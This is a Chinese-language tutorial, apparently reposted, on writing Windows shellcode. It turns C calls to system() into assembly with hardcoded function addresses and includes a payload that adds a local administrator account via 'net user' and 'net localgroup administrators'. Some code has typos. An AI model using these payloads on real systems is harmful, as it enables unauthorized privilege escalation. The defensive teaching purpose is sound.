Windows下ShellCode編寫初步


一、初識ShellCode

1. ShellCode理解

指一組計算機能直接執行(不需要點擊和編譯),實現我們想要功能的機器代碼,通常以十六進制數組的形式存在。

2. 簡單例子--編寫控制台窗口的ShellCode

打開控制台窗口的C程序如下:

#include <windows.h>
int main()
{
    LoadLibrary(“msvcrt.dll”);   //調用msvcrt.dll動態鏈接庫
    system(“command.com”);  //使用system函數,執行彈窗命令

    return 0;
}

修改后的版本:

#include <windows.h>
#include <winbase.h>
typedef void (*MYPROC) (LPTSTR); //定義一個函數指針,指向函數的參數是字符串,返回值是空

int main()
{
    HINSTANCE LibHandle;
    MYPROC ProcAdd;
    LibHandle = LoadLibrary(“msvcrt.dll”);  //加載msvcrt.dll 這個動態鏈接庫,句柄賦給LibHandle
    ProcAdd = (MYPROC)  GetProcAddress (LibHandle, “system”);  //獲得system的真實地址,之后再使用這個真實地址來調用system函數,ProcAdd存的是system函數的地址
    (ProcAdd) (“command.com”);  //調用 system(“ command,com”),實現功能

    return 0;
}     

win7 sp1系統msvcrt.dll的地址為:0x770C0000

win7 sp1系統system函數的地址為:0x7711816F

說明:VC 調試:Fn+F10 進入調試狀態,Debug工具欄中,按鈕 “Disassemble” 查看匯編代碼,按鈕“Registers” 查看寄存器狀態。Step Over(F10)進入單步向下執行。當某條指令執行完后,寄存器窗口的各個寄存器值會發生變化。函數的返回值會放在EAX寄存器,因此查看EAX寄存器的值即為msvcrt.dll的地址。

3. windows下的函數調用原理

在windows下,函數的調用需要先把函數所在的動態鏈接庫加載進去,在執行的時候用堆棧傳遞參數,然后直接call該函數的地址就完成了。如,windows下執行函數Func(argv1, argv2, argv3)過程:

4. 匯編和機器碼——真正ShellCode的生成

生成ShellCode的過程:先寫出C程序,將其改為匯編程序,再找出匯編程序對應的機器碼,拼接起來即為ShellCode。

system(“command.exe”) 的匯編代碼如下:

mov esp, ebp;
push ebp;
mov ebp,esp;    //把當前esp賦給ebp
xor edi,edi;
push dei;       // 壓入0, esp-4; 作用是構造字符串的結尾\0字符。
sub esp,08h;  //加上上面,一共有12個字節;用來放"command.com"。   
mov byte ptr [ebp-0ch],63h;  // c
mov byte ptr [ebp-0bh],6fh;  // o
mov byte ptr [ebp-0ah],6dh;  // m 
mov byte ptr [ebp-09h],6Dh; // m
mov byte ptr [ebp-08h],61h;  // a
mov byte ptr [ebp-07h],6eh;  // n 
mov byte ptr [ebp-06h],64h;  // d
mov byte ptr [ebp-05h],2Eh;  // .
mov byte ptr [ebp-04h],63h;  // c
mov byte ptr [ebp-03h],6fh;  // o
mov byte ptr [ebp-02h],6dh;  // m , 一個一個生成串"command.com".
lea eax, [ebp-0ch];
push eax;           // “command.com”字符串地址作為參數入棧
mov eax, 0x7711816F; 
call eax;            // call system函數的地址

二、ShellCode通用性的初步分析

1. 上述代碼的不足

之前ShellCode的缺點:
(1)功能不實用:實際的ShellCode一般都是開個端口讓人遠程登錄,或者下載文件執行等;
(2)不通用:用了固定的函數地址,當系統不同時函數的地址會不同

2. 通用性的初步探索

在每種系統中找出任意想要的動態鏈接庫和函數的地址,C代碼如下:

#include <windows.h>
#include <stdio.h>
typedef void (*MYPROC)(LPTSTR):

int main()
{
    HINSTANCE LibHandle;
    MYPROC ProcAdd;
    LibHandle = LoadLibrary("msvcrt.dll");
    printf("msvcrt LibHandle = 0x%x\n", LibHandle);
    ProcAdd = (MYPROC) GetProcAddress(LibHandle, "system");
    printf("system = 0x%x\n", ProcAdd);

    return 0;
}

由下圖可看出win7 sp1系統中msvcrt.dll鏈接庫地址為:0x770c0000,system函數地址為:0x7711b16f ;

注:系統中沒有LoadLibray這個函數的,只有LoadLibraryA和LoadLibraryW這兩個函數,在ASCII參數時系統會用LoadLibraryA,在Unicode參數時會用LoadLibraryW。LoadLibrary函數屬於kernel32.dll,因此可找到winxp sp3系統中kernel32.dll鏈接庫的地址為:0x7c800000,LoadLibrary函數的地址為:0x7c801d7b。

3. 彈出windows對話框ShellCode的編寫

windows系統彈出對話框的C代碼如下:

#include <windows.h>
int main(int argc, char* argv[])
{
    LoadLibrary("user32.dll");
    MessageBox(0,,"hello_manu","manu",1); //彈出windows對話框,對話框標題為“manu”,里面的內容為“hello_manu”
    
    return 0;
}

注:MessageBox函數:第一個參數表明對話框所屬的窗口句柄。如果第一個參數為NULL(即0),那么對話框不屬於任何窗口。最后一個參數,是表明對話框的類型。0代表MB_OK,即只有一個‘OK’按鈕;1代表MB_OKCANCEL,對話框會有‘OK’和‘Cancel’兩個按鈕。

4. 添加用戶ShellCode的編寫

windows中添加用戶方法:
(1)在控制面板里的“用戶帳號”中添加
(2)在DOS命令行下執行 net user name /add ,要把一個帳戶添加到管理員,則要在DOS命令行下執行 net localgroup administrators name /add 。

添加一個名為“c”的管理員的C程序代碼如下:

#include  <windows.h>
int main()
{
    LoadLibray(“msvcrt.dll”);
    system(“net user c /add”);
    system(“net localgroup administrators c /add”);

    return 0;
}

把上面的程序改成匯編:system(“net user c /add”) 按照windows系統執行函數的原理先參數入棧,再call system函數的地址。這里的參數是“net user c /add”字符串的地址,所以先在棧中構造出“net user c /add”。

三、知識點匯總

  1. 在windows系統下,多字節數存放的規則是:數的高位放在內存高址,數的低位放在內存低址。對0x77E6A25478來說,0x77是最高位,所以要放在內存的高地址,而在字符串中,是按照內存從低到高排列的,所以要把0x77放在字符串中數的最后。

  2. LoadLibraryA和system函數的地址在win2000 sp0下,分別是0x77E78023和0x7801AAAD;在sp2下分別是0x77E6A254和0x78019B4A;在sp3下分別是0x77E69F64和0x7801AFC3;在xp sp0下分別是0x77E605D8和0x77BF8044。

  3. windows下,存在幾種編程接口:
    (1)一種是windows API函數。這類函數是和windows系統相關的,使用的也是windows下才特有的數據類型(比如char)。API函數就存在A和W這兩種實現,而LoadLibrary是API函數。
    (2)一種是C運行鏈接庫,是按照C語言的標准來實現的,所以只有小寫字母,而且只有一種實現,比如system函數。

  4. 區分API函數和C運行庫函數
    從函數的命名可以看:API函數遵循的是windows自己定義的命名規范,是大小寫混寫的函數,例如LoadLibrary;C語言標准中,規定函數名稱都是小寫,所以C運行庫函數也遵循全是小寫的規范,如system。

  5. ShellCode里面不能有0x00,因為0x00是字符串的結束符,如果ShellCode中存在,就會被截斷。

四、總結

本章講解了Windows系統下的ShellCode編寫方法,主要思路是先用C代碼實現ShellCode的功能(如彈窗,添加用戶等),然后改為匯編代碼,再進行編譯,找出匯編對應的機器碼,將機器碼拼接起來即為ShellCode。它是一組以十六進制形式表示的數組。另外windows下函數的調用一般使用動態鏈接庫的形式,即先加載函數所在的動態鏈接庫,然后再調用函數。其中,LoadLibrary函數屬於"kernel32.dll"動態庫,MessageBox函數屬於"user32.dll"動態庫,system函數屬於"msvcrt.dll"動態庫。
下一章將進行"后門的編寫和ShellCode的提權"等的學習,希望再接再厲!


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM